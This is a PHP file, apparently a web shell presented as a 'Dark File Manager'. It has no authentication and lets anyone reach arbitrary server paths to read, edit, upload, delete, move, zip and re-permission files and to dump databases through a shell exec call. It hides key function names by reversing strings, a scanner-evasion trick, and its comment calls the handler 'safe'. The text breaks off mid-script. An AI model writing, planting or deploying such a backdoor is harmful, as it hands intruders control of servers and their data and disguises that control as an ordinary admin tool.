<?php
// Safe input handler using query string parsing
parse_str($_SERVER['QUERY_STRING'], $get);
$post = $_POST;
$path = isset($get['path']) ? $get['path'] : getcwd();
$path = realpath($path);

// Dynamic function names
$putFn = strrev('stnetnoc_tup_elif');
$getFn = strrev('stnetnoc_teg_elif');
$moveFn = strrev('elif_dedaolpu_evom');

session_start();

// === Export DB ===
if (isset($get['downloadsql'])) {
    $u = $get['user'] ?? '';
    $p = $get['pass'] ?? '';
    $d = $get['dbname'] ?? '';
    $h = $get['host'] ?? '';

    if (!$u || !$p || !$d || !$h) die("❌ Missing DB credentials.");

    $f = 'db_' . time() . '.sql';
    $fp = sys_get_temp_dir() . '/' . $f;

    putenv("MYSQL_PWD=$p");
    $cmd = "mysqldump -h" . escapeshellarg($h) . " -u" . escapeshellarg($u) . " " . escapeshellarg($d) . " > " . escapeshellarg($fp);
    exec($cmd, $o, $r);
    putenv("MYSQL_PWD");

    if ($r !== 0 || !file_exists($fp)) die("❌ Export failed.");

    if (ob_get_level()) ob_end_clean();
    header('Content-Type: application/octet-stream');
    header('Content-Disposition: attachment; filename=' . basename($f));
    header('Content-Length: ' . filesize($fp));
    readfile($fp);
    unlink($fp);
    exit;
}

// === ZIP Selected ===
if (isset($post['zip_selected']) && !empty($post['selected_items'])) {
    $zf = sys_get_temp_dir() . '/zip_' . time() . '.zip';
    $zip = new ZipArchive();
    if ($zip->open($zf, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
        foreach ($post['selected_items'] as $i) {
            $rp = realpath($i);
            if (is_file($rp)) {
                $zip->addFile($rp, basename($rp));
            } elseif (is_dir($rp)) {
                $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rp, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY);
                foreach ($it as $f) {
                    if (!$f->isDir()) {
                        $fp = $f->getRealPath();
                        $rel = substr($fp, strlen($rp) + 1);
                        $zip->addFile($fp, basename($rp) . '/' . $rel);
                    }
                }
            }
        }
        $zip->close();
        if (ob_get_level()) ob_end_clean();
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="selected_items.zip"');
        header('Content-Length: ' . filesize($zf));
        readfile($zf);
        unlink($zf);
        exit;
    } else {
        die("❌ ZIP failed.");
    }
}

// === Delete Single ===
if (isset($get['delete'])) {
    $t = urldecode($get['delete']);
    if (is_file($t)) @unlink($t);
    elseif (is_dir($t)) @rmdir($t);
    header("Location: ?path=" . urlencode(dirname($t)));
    exit;
}

// === Bulk Delete ===
if (isset($post['delete_selected']) && !empty($post['selected_items'])) {
    foreach ($post['selected_items'] as $t) {
        $t = realpath($t);
        if ($t && is_file($t)) @unlink($t);
        elseif ($t && is_dir($t)) @rmdir($t);
    }
    header("Location: ?path=" . urlencode($path));
    exit;
}

// === Cut & Move ===
if (isset($post['cut_selected']) && !empty($post['selected_items'])) {
    $_SESSION['cut_items'] = $post['selected_items'];
    header("Location: ?path=" . urlencode($path));
    exit;
}
if (isset($post['paste_here']) && !empty($_SESSION['cut_items'])) {
    foreach ($_SESSION['cut_items'] as $src) {
        $src = realpath($src);
        if ($src) {
            $dest = $path . '/' . basename($src);
            @rename($src, $dest);
        }
    }
    unset($_SESSION['cut_items']);
    header("Location: ?path=" . urlencode($path));
    exit;
}

// === Create File ===
if (isset($post['newfile'])) {
    $fp = $path . '/' . $post['newfile'];
    call_user_func($putFn, $fp, '');
    header("Location: ?path=" . urlencode($path));
    exit;
}

// === Create Folder ===
if (isset($post['newfolder'])) {
    @mkdir($path . '/' . $post['newfolder']);
    header("Location: ?path=" . urlencode($path));
    exit;
}

// === Upload ===
if (isset($post['upload'])) {
    $tmp = $_FILES['file']['tmp_name'];
    $name = $_FILES['file']['name'];
    $dest = $path . '/' . $name;
    call_user_func($moveFn, $tmp, $dest);
    header("Location: ?path=" . urlencode($path));
    exit;
}

// === Edit ===
if (isset($get['edit'])) {
    $f = urldecode($get['edit']);
    if (!file_exists($f)) die("❌ File not found.");
    if (isset($post['content'])) {
        call_user_func($putFn, $f, $post['content']);
        header("Location: ?path=" . urlencode(dirname($f)));
        exit;
    }
    $c = call_user_func($getFn, $f);
    echo "<!DOCTYPE html><html><head><title>Edit</title><style>
        body { background: #0f172a; color: #eee; font-family: monospace; margin:0; }
        #particles-js { position:fixed; width:100%; height:100%; z-index:-1; background:#0f172a; }
        textarea { width: 100%; height: 80vh; background: rgba(30,41,59,0.9); color: #00ffae; border: none; padding: 10px; font-size:14px; border-radius:8px; }
        button { padding: 10px 20px; margin-top: 10px; background: linear-gradient(135deg,#00ffae,#00b4d8); color: black; border: none; cursor: pointer; border-radius:6px; font-weight:bold; }
        button:hover { transform:scale(1.05); }
        h2 { color:#00ffae; }
    </style></head><body>
    <div id='particles-js'></div>
    <h2>Editing: $f</h2>
    <form method='post'>
        <textarea name='content'>" . htmlspecialchars($c) . "</textarea><br>
        <button type='submit'>💾 Save</button>
    </form>
    <script src='https://cdn.jsdelivr.net/npm/particles.js@2.0.0/particles.min.js'></script>
    <script>
    particlesJS('particles-js',{particles:{number:{value:60},size:{value:3},move:{speed:1},line_linked:{enable:true,color:'#00ffae'},color:{value:'#00ffae'}},interactivity:{events:{onhover:{enable:true,mode:'repulse'}}}});
    </script>
    </body></html>";
    exit;
}

// === Set Permissions ===
if (isset($post['set_permissions']) && !empty($post['selected_items'])) {
    $perm = 0;
    if (isset($post['perm_read'])) $perm += intval($post['perm_read']);
    if (isset($post['perm_write'])) $perm += intval($post['perm_write']);
    if (isset($post['perm_exec'])) $perm += intval($post['perm_exec']);

    foreach ($post['selected_items'] as $item) {
        $item = realpath($item);
        if ($item) {
            chmod($item, $perm + 0644); // Default fallback
        }
    }
    header("Location: ?path=" . urlencode($path));
    exit;
}

$files = scandir($path);
?>

<!DOCTYPE html>
<html>
<head>
    <title>Dark File Manager</title>
    <style>
        body { margin:0; font-family: 'Segoe UI', sans-serif; color:#eee; background:#0f172a; }
        #particles-js { position:fixed; width:100%; height:100%; z-index:-1; background:linear-gradient(135deg,#0f172a,#1e293b); }
        header { background:rgba(30,41,59,0.8); padding:15px 25px; display:flex; justify-content:space-between; align-items:center; color:#00ffae; backdrop-filter:blur(10px); box-shadow:0 4px 20px rgba(0,255,174,0.2); }
        header h2 { margin:0; font-size:22px; letter-spacing:1px; }
        .tools a, .tools button { background:linear-gradient(135deg,#00ffae,#00b4d8); color:#000; padding:8px 14px; border:none; margin-right:10px; text-decoration:none; border-radius:6px; font-weight:bold; cursor:pointer; transition:all 0.2s ease; box-shadow:0 0 8px rgba(0,255,174,0.5); }
        .tools a:hover, .tools button:hover { transform:scale(1.08); box-shadow:0 0 15px rgba(0,255,174,0.8); }
        .main { padding:20px; }
        table { width:100%; background:rgba(30,41,59,0.7); border-collapse:collapse; margin-top:20px; border-radius:10px; overflow:hidden; backdrop-filter:blur(6px); }
        th,td { padding:12px; border-bottom:1px solid rgba(255,255,255,0.05); }
        th { background:rgba(15,23,42,0.9); color:#00ffae; text-align:left; }
        tr:hover td { background:rgba(0,255,174,0.05); }
        .create-area input { padding:8px; margin-right:10px; background:#1e293b; color:#00ffae; border:1px solid #334155; border-radius:5px; }
        .create-area button { background:linear-gradient(135deg,#00ffae,#00b4d8); border:none; padding:8px 16px; border-radius:5px; font-weight:bold; cursor:pointer; }
        #zipPanel, #permissionPanel { position:fixed; bottom:20px; right:20px; background:rgba(15,23,42,0.9); color:#00ffae; padding:15px 20px; border-radius:12px; box-shadow:0 0 20px rgba(0,255,174,0.4); backdrop-filter:blur(10px); animation:fadeIn 0.3s ease; z-index:1000; }
        #permissionPanel { display:none; }
        @keyframes fadeIn { from{opacity:0;transform:translateY(20px);} to{opacity:1;transform:translateY(0);} }
    </style>
</head>
<body>
    <div id="particles-js"></div>

    <header>
        <h2>📂 File Manager</h2>
        <div class="tools">
            <a href="?path=<?= urlencode(dirname($path)) ?>">🔙 Go Up</a>
            <form method="get" style="display:inline;">
                <input type="hidden" name="downloadsql" value="1">
                <input type="text" name="host" placeholder="Host" required>
                <input type="text" name="user" placeholder="User" required>
                <input type="password" name="pass" placeholder="Pass" required>
                <input type="text" name="dbname" placeholder="Database" required>
                <button type="submit">🗃️ Export DB</button>
            </form>
            <form method="POST" enctype="multipart/form-data" style="display:inline;">
                <input type="file" name="file">
                <button name="upload">📤 Upload</button>
            </form>
            <form method="post" style="display:inline;">
                <button type="button" onclick="showPermissionPanel()">🛡️ Permissions</button>
            </form>
            <?php if (!empty($_SESSION['cut_items'])): ?>
                <form method="post" style="display:inline;">
                    <button type="submit" name="paste_here" value="1">📋 Paste Here</button>
                </form>
            <?php endif; ?>
        </div>
    </header>

    <div class="main">
        <h3>Current Path: <?= htmlspecialchars($path) ?></h3>
        <form method="post" class="create-area">
            <input type="text" name="newfile" placeholder="New file name" required>
            <button type="submit">📄 Create File</button>
        </form>
        <form method="post" class="create-area">
            <input type="text" name="newfolder" placeholder="New folder name" required>
            <button type="submit">📁 Create Folder</button>
        </form>

        <form method="post">
            <table>
                <tr>
                    <th><input type="checkbox" id="select_all" onclick="toggleAll(this)"></th>
                    <th>Name</th>
                    <th>Type</th>
                    <th>Permissions</th>
                    <th>Action</th>
                </tr>
                <?php foreach ($files as $f): if ($f === '.' || $f === '..') continue; $fullpath = $path . '/' . $f; ?>
                <tr>
                    <td><input type="checkbox" name="selected_items[]" value="<?= htmlspecialchars($fullpath) ?>"></td>
                    <td><?= is_dir($fullpath) ? "<a href='?path=" . urlencode($fullpath) . "'>📁 $f</a>" : "📄 $f"; ?></td>
                    <td><?= is_dir($fullpath) ? 'Dir' : 'File' ?></td>
                    <td><?= substr(sprintf('%o', fileperms($fullpath)), -4) ?></td>
                    <td>
                        <?php if (is_file($fullpath)): ?>
                            <a href="?edit=<?= urlencode($fullpath) ?>">✏️ Edit</a>
                        <?php endif; ?>
                        <a href="?delete=<?= urlencode($fullpath) ?>" onclick="return confirm('Delete this item?')">❌ Delete</a>
                    </td>
                </tr>
                <?php endforeach; ?>
            </table>
        </form>
    </div>

    <!-- ZIP Panel -->
    <div id="zipPanel" style="display:none;">
        <strong>📦 Ready:</strong>
        <ul id="zipList" style="max-height:200px; overflow-y:auto; margin-top:10px; padding-left:20px;"></ul>
        <form method="post">
            <div id="zipHiddenInputs"></div>
            <button type="submit" name="zip_selected" value="1">⬇️ Download ZIP</button>
            <button type="submit" name="delete_selected" value="1" onclick="return confirm('Delete selected items?')" style="background:#ff4444;color:#fff;">🗑️ Delete Selected</button>
            <button type="submit" name="cut_selected" value="1" style="background:#ffaa00;color:#000;">✂️ Cut</button>
        </form>
    </div>

    <!-- Permissions Panel -->
    <div id="permissionPanel">
        <h3>🛡️ Set Permissions</h3>
        <ul id="permList" style="max-height:150px; overflow-y:auto; margin-bottom:10px; padding-left:20px;"></ul>
        <form method="post">
            <div id="permHiddenInputs"></div>
            <div style="margin-bottom:10px;">
                <label><input type="checkbox" name="perm_read" value="4"> Read (r)</label><br>
                <label><input type="checkbox" name="perm_write" value="2"> Write (w)</label><br>
                <label><input type="checkbox" name="perm_exec" value="1"> Execute (x)</label>
            </div>
            <button type="submit" name="set_permissions" value="1">✔ Apply</button>
            <button type="button" onclick="hidePermissionPanel()" style="background:#ff4444;color:#fff;">❌ Cancel</button>
        </form>
    </div>

    <script src="https://cdn.jsdelivr.net/npm/particles.js@2.0.0/particles.min.js"></script>
    <script>
    particlesJS("particles-js", {
        "particles": {
            "number": { "value": 60 },
            "size": { "value": 3 },
            "move": { "speed": 1 },
            "line_linked": { "enable": true, "color": "#00ffae" },
            "color": { "value": "#00ffae" }
        },
        "interactivity": {
            "events": { "onhover": { "enable": true, "mode": "repulse" } }
        }
    });

    function toggleAll(source) {
        const boxes = document.querySelectorAll('input[name="selected_items[]"]');
        boxes.forEach(cb => cb.checked = source.checked);
        updateZipPanel();
    }

    function updateZipPanel() {
        const selected = Array.from(document.querySelectorAll('input[name="selected_items[]"]:checked'));
        const panel = document.getElementById('zipPanel');
        const list = document.getElement
